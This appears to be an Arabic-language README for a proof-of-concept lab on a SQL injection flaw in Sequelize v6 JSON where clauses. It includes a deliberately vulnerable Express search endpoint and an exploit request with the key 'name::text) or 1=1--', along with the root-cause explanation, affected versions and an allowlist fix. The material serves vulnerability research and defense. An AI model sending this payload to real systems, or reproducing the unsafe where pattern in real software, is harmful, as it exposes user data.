
حقن SQL عبر JSON Cast في Sequelize
★ CVE-2026-30951 إثبات مفهوم حقن SQL في Sequelize ORM ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 هو ثغرة حقن SQL في Sequelize v6، وهو ORM شائع الاستخدام في Node.js.
توجد الثغرة في معالجة شرط
whereالخاص بـ JSON/JSONB. عندما يقوم Sequelize بتحليل مفتاح مسار JSON يحتوي على::، تُعامَل القيمة التي تلي::كنوع تحويل SQL وتُدرَج في استعلام SQL المُولَّد دون التحقق المناسب.إذا تمكن المهاجم من التحكم في مفاتيح كائنات JSON التي تُمرَّر إلى شرط
whereفي Sequelize، فيمكنه التلاعب باستعلام SQL المُولَّد.
| الفئة | الإصدار |
|---|
| قابل للاستغلال | Sequelize v6.x <= 6.37.7 |
| مُصحَّح | Sequelize 6.37.8 |
| غير متأثر | Sequelize v7 / @sequelize/core |
يحتوي هذا المستودع على تطبيق تحدٍّ بسيط قابل للاستغلال مبني على Node.js وExpress وSequelize وSQLite.
npm install
npm start
يبدأ التطبيق على:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
تبدأ حاوية Docker على:
http://127.0.0.1:9100
بعد تشغيل البيئة القابلة للاستغلال، اتبع الخطوات أدناه لإعادة إنتاج الحقن.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
يُرجع هذا فقط المستخدمين المطابقين لمنطق البحث العادي بالاسم.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
النتيجة المتوقعة:
All user rows are returned.
يتسبب مفتاح JSON المُصمَّم في أن يُولِّد Sequelize تعبير تحويل مشابهًا لـ:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
نظرًا لأن نوع التحويل يتحكم به المهاجم، فإن شرط OR 1=1 يغيّر السلوك المقصود لشرط WHERE. إن إرجاع جميع الصفوف من نفس نقطة نهاية البحث يؤكد إمكانية حقن SQL.
تنتج الثغرة عن التحقق غير الكافي من أنواع تحويل JSON في Sequelize v6.
داخليًا، يقوم منطق اجتياز JSON في Sequelize بتقسيم مفاتيح مسار JSON على :::
jsonKey::castType
ثم يُستخدم نوع التحويل في SQL المُولَّد مثل:
CAST(<json_extract_expression> AS <cast_type>)
في الإصدارات القابلة للاستغلال، لا يتم تهريب <cast_type> بشكل آمن أو تقييده بقائمة سماح معروفة الآمان. وهذا يسمح لمفتاح JSON يتحكم به المهاجم بالخروج من تعبير التحويل وحقن SQL.
أي نمط تطبيق مشابه لما يلي قد يكون قابلًا للاستغلال عند استخدام إصدارات Sequelize المتأثرة:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
هذا خطير لأن المهاجم لا يتحكم فقط في قيم JSON، بل أيضًا في مفاتيح كائنات JSON.
تُعد هذه الثغرة خطيرة بشكل خاص لأن العديد من المطورين يفترضون أن بُناة استعلامات ORM تحمي تلقائيًا من حقن SQL. في هذه الحالة، يحدث الحقن داخل SQL المُولَّد بواسطة ORM، بعد أن يكون التطبيق قد مرَّر بالفعل كائنات JavaScript مُهيكلة إلى Sequelize.
اعتمادًا على منطق التطبيق، قد يسمح الاستغلال بما يلي:
هذه في جوهرها مشكلة CWE-89: التحويل غير السليم للعناصر الخاصة المستخدمة في أمر SQL.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where الخاصة بـ JSON/JSONB في Sequelize:: إلا إذا كانت مطلوبة صراحةًconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
هذا المستودع مخصص لأبحاث الأمن، والتحقق الدفاعي، والاستخدام التعليمي في بيئات مُتحكَّم بها فقط.
لا تستخدم إثبات المفهوم هذا ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها.
ننشر تحليلًا لثغرات CVE والبرمجيات الخبيثة مرة واحدة شهريًا. إذا كنت مهتمًا، يُرجى متابعة الروابط أدناه للاطلاع على منشوراتنا.